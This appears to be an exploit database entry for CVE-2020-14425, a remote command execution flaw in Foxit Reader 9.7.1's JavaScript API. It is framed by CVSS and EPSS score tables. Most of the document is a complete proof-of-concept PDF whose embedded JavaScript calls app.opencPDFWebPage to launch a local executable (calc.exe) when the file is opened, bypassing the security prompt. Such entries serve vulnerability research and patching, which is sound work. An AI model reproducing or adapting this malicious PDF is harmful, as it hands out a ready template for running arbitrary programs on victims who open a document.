6.8 Medium
CVSS2
Attack Vector
NETWORK
Attack Complexity
MEDIUM
Authentication
NONE
Confidentiality Impact
PARTIAL
Integrity Impact
PARTIAL
Availability Impact
PARTIAL
AV:N/AC:M/Au:N/C:P/I:P/A:P
7.8 High
CVSS3
Attack Vector
LOCAL
Attack Complexity
LOW
Privileges Required
NONE
User Interaction
REQUIRED
Scope
UNCHANGED
Confidentiality Impact
HIGH
Integrity Impact
HIGH
Availability Impact
HIGH
CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H
0.019 Low
EPSS
Percentile
88.7%
# Exploit Title: Foxit Reader 9.7.1 - Remote Command Execution (Javascript API)
# Exploit Author: Nassim Asrir
# Vendor Homepage: https://www.foxitsoftware.com/
# Description: Foxit Reader before 10.0 allows Remote Command Execution via the unsafe app.opencPDFWebPage JavaScript API which allows an attacker to execute local files on the file system and bypass the security dialog.
# CVE-2020-14425
The exploit process need the user-interaction (Opening the PDF) .
+ Process continuation
#POC
%PDF-1.4
%ÓôÌá
1 0 obj
<<
/CreationDate(D:20200821171007+02'00')
/Title(Hi, Can you see me ?)
/Creator(AnonymousUser)
>>
endobj
2 0 obj
<<
/Type/Catalog
/Pages 3 0 R
/Names
<<
/JavaScript 10 0 R
>>
>>
endobj
3 0 obj
<<
/Type/Pages
/Count 1
/Kids[4 0 R]
>>
endobj
4 0 obj
<<
/Type/Page
/MediaBox[0 0 595 842]
/Parent 3 0 R
/Contents 5 0 R
/Resources
<<
/ProcSet [/PDF/Text/ImageB/ImageC/ImageI]
/ExtGState
<<
/GS0 6 0 R
>>
/Font
<<
/F0 8 0 R
>>
>>
/Group
<<
/CS/DeviceRGB
/S/Transparency
/I false
/K false
>>
>>
endobj
5 0 obj
<<
/Length 94
/Filter/FlateDecode
>>
stream
xœŠ»@@EûùŠ[RØk x•ÄüW"DDçëœâžÜœ›b°ý“{‡éTg†¼tS)dÛ‘±=dœþ+9Ÿ_ÄifÔÈŒ [ŽãB_5!d§ZhP>¯ ‰
endstream
endobj
6 0 obj
<<
/Type/ExtGState
/ca 1
>>
endobj
7 0 obj
<<
/Type/FontDescriptor
/Ascent 833
/CapHeight 592
/Descent -300
/Flags 32
/FontBBox[-192 -710 702 1221]
/ItalicAngle 0
/StemV 0
/XHeight 443
/FontName/CourierNew,Bold
>>
endobj
8 0 obj
<<
/Type/Font
/Subtype/TrueType
/BaseFont/CourierNew,Bold
/Encoding/WinAnsiEncoding
/FontDescriptor 7 0 R
/FirstChar 0
/LastChar 255
/Widths[600 600 600 600 600 600 600 600 600 600 600 600 600 600 600 600 600 600 600 600 600 600 600 600 600 600 600 600 600 600 600 600 600 600 600 600 600 600 600 600 600 600 600 600 600 600 600 600 600 600 600 600 600 600 600 600 600 600 600 600 600 600 600 600 600 600 600 600 600 600 600 600 600 600 600 600 600 600 600 600 600 600 600 600 600 600 600 600 600 600 600 600 600 600 600 600 600 600 600 600 600 600 600 600 600 600 600 600 600 600 600 600 600 600 600 600 600 600 600 600 600 600 600 600 600 600 600 600 600 600 600 600 600 600 600 600 600 600 600 600 600 600 600 600 600 600 600 600 600 600 600 600 600 600 600 600 600 600 600 600 600 600 600 600 600 600 600 600 600 600 600 600 600 600 600 600 600 600 600 600 600 600 600 600 600 600 600 600 600 600 600 600 600 600 600 600 600 600 600 600 600 600 600 600 600 600 600 600 600 600 600 600 600 600 600 600 600 600 600 600 600 600 600 600 600 600 600 600 600 600 600 600 600 600 600 600 600 600 600 600 600 600 600 600 600 600 600 600 600 600 600 600 600 600 600 600]
>>
endobj
9 0 obj
<<
/S/JavaScript
/JS(app.opencPDFWebPage\('C:\\\\Windows\\\\System32\\\\calc.exe'\) )
>>
endobj
10 0 obj
<<
/Names[(EmbeddedJS)9 0 R]
>>
endobj
xref
0 11
0000000000 65535 f
0000000015 00000 n
0000000170 00000 n
0000000250 00000 n
0000000305 00000 n
0000000560 00000 n
0000000724 00000 n
0000000767 00000 n
0000000953 00000 n
0000002137 00000 n
0000002235 00000 n
trailer
<<
/ID[<7018DE6859F23E419162D213F5C4D583><7018DE6859F23E419162D213F5C4D583>]
/Info 1 0 R
/Root 2 0 R
/Size 11
>>
startxref
2283
%%EOF
6.8 Medium
CVSS2
Attack Vector
NETWORK
Attack Complexity
MEDIUM
Authentication
NONE
Confidentiality Impact
PARTIAL
Integrity Impact
PARTIAL
Availability Impact
PARTIAL
AV:N/AC:M/Au:N/C:P/I:P/A:P
7.8 High
CVSS3
Attack Vector
LOCAL
Attack Complexity
LOW
Privileges Required
NONE
User Interaction
REQUIRED
Scope
UNCHANGED
Confidentiality Impact
HIGH
Integrity Impact
HIGH
Availability Impact
HIGH
CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H
0.019 Low
EPSS
Percentile
88.7%